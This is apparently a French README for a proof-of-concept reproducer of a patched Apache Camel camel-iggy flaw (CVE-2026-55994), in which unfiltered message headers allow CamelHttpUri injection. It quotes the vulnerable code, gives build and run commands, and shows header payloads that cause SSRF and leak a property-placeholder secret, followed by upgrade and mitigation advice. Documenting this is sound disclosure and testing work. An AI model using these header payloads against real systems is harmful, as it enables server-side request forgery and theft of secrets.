
Reproducteur de PoC pour CVE-2026-55994 (Apache Camel camel-iggy) : le consommateur copie les en-têtes utilisateur d’un message Iggy sur l’Exchange sans filtrage, de sorte qu’un CamelHttpUri injecté déclenche une requête côté serveur (SSRF) et divulgue les espaces réservés de propriétés résolus. Corrigé en 4.18.3/4.21.0.
Ce projet démontre une injection d'en-têtes de message dans le composant camel-iggy d'Apache Camel, référencée sous le nom
CVE-2026-55994. Le consommateur Iggy copie les en-têtes utilisateur d'un message entrant sur l'échange Camel
sans aucun HeaderFilterStrategy, de sorte que toute personne pouvant publier sur le sujet Iggy consommé peut injecter
des en-têtes de contrôle Camel — notamment CamelHttpUri :
// IggyFetchRecords.createExchange (affecté 4.18.2) — en-têtes utilisateur du message Iggy -> en-têtes de l'échange, non filtrés
message.userHeaders().ifPresent(userHeaders -> {
Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
e -> e.getKey(),
e -> e.getValue().value()));
exchange.getIn().setHeaders(stringUserHeaders);
});
Lorsque la route relie ce consommateur à un producteur HTTP, un CamelHttpUri injecté — requête forgée côté serveur. Le producteur camel-http appelle également sur
cette URI contrôlée par l'attaquant, de sorte qu'une référence injectée est développée en sa valeur réelle puis
envoyée — divulguant des variables d'environnement, des propriétés d'application ou des secrets de coffre-fort.
resolvePropertyPlaceholders(){{...}}Cette PoC démontre l'impact comme SSRF plus divulgation de secrets (CWE-20 → CWE-918 + CWE-200). C'est l'un des
trois composants apparentés corrigés ensemble sous CAMEL-23532 (avec camel-vertx-websocket, CVE-2026-46726, et
camel-atmosphere-websocket, CVE-2026-55993).
| Propriété | Valeur |
|---|---|
| Composant | camel-iggy |
| Classe affectée | org.apache.camel.component.iggy.IggyFetchRecords#createExchange (mappe les en-têtes utilisateur du message vers les en-têtes de l'échange sans aucun filtre) |
| CWE | CWE-20 (Validation d'entrée incorrecte) → CWE-918 (SSRF) + CWE-200 (Exposition d'informations) |
| Impact | SSRF et divulgation de secrets via la résolution de placeholders de propriétés sur l'URI injectée |
| Conditions préalables | Une route relie un consommateur iggy: à un producteur HTTP ; l'attaquant peut publier sur le sujet consommé |
| Versions affectées | De 4.17.0 avant 4.18.3, de 4.19.0 avant 4.21.0 (camel-iggy a été introduit dans 4.17.0) |
| Versions corrigées | 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Crédit | Kamalpreet Singh |
Le correctif applique un
HeaderFilterStrategyau mappage entrant, filtrant les en-têtesCamel*/camel*afin qu'ils ne puissent plus être injectés via les en-têtes utilisateur d'un message Iggy.
Le IggyFetchRecords.createExchange(...) vulnérable est exécuté inchangé, sur un message Iggy forgé dont les
en-têtes utilisateur sont contrôlés par l'attaquant. L'échange résultant circule à travers la vraie route jusqu'au vrai
producteur camel-http, de sorte que la SSRF et la divulgation de placeholder de propriété {{...}} sont authentiques.
Pourquoi aucun courtier Iggy réel n'est utilisé. Le
doStartdu consommateuriggy:ouvre une connexion vers un serveur Iggy en cours d'exécution, de sorte que la route ne peut pas démarrer sans lui — et le serveur Apache Iggy nécessiteio_uring, que le profil seccomp par défaut de Docker bloque (il ne s'exécute qu'avec--privileged), ce qui le rend inadapté à une PoC portable et partageable. LecreateExchangevulnérable lui-même n'a pas besoin de courtier, donc le pilote construit le vraiIggyFetchRecordset l'invoque directement avec le message forgé. La PoC sœurcamel-vertx-websocket(CVE-2026-46726) pilote le défaut identique via un transport en direct.
Dans un déploiement réel : from("iggy:orders?streamName=demo&...").to("http://.../legit-backend"). Ici, la moitié en aval
est from("direct:iggy-delivery").to("http://localhost:8080/legit-backend"), alimentée par l'échange empoisonné
construit par le vrai createExchange.
CVE-2026-55994/
├── pom.xml # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # service unique autonome
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # chaînage aval -> http://localhost:8080/legit-backend
│ ├── SinkController.java # collecteur SSRF : /legit-backend, /internal/secret, /collect
│ └── ExploitController.java # forge un message Iggy + exécute le vrai createExchange (injecte CamelHttpUri)
└── resources/
└── application.properties # app.secret=... (divulgué via la résolution de placeholder)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Message ordinaire (en-tête utilisateur x-order-id=A-1001)
atteint /legit-backend : true
atteint /internal/secret : false
2) En-tête utilisateur injecté 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
requête côté serveur atteinte /internal/secret : true
3) En-tête utilisateur injecté 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (divulgation de secret)
le collecteur de l'attaquant a reçu la fuite = SUPER-SECRET-abc123
égale le vrai secret de l'application : true
>>> SSRF=true, divulgation-de-secret=true
Mettez à niveau vers 4.18.3 / 4.21.0 (CAMEL-23532). Après la mise à niveau, le consommateur filtre les en-têtes Camel* des
en-têtes utilisateur du message Iggy, de sorte que CamelHttpUri et les autres en-têtes de contrôle ne peuvent plus être injectés.
En attendant la mise à niveau, ne reliez pas un consommateur iggy: directement à un producteur HTTP sans d'abord supprimer les
en-têtes de contrôle Camel (par exemple removeHeaders("CamelHttp*")), et définissez la cible du producteur à partir d'une source
de confiance (ou utilisez bridgeEndpoint=true).
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.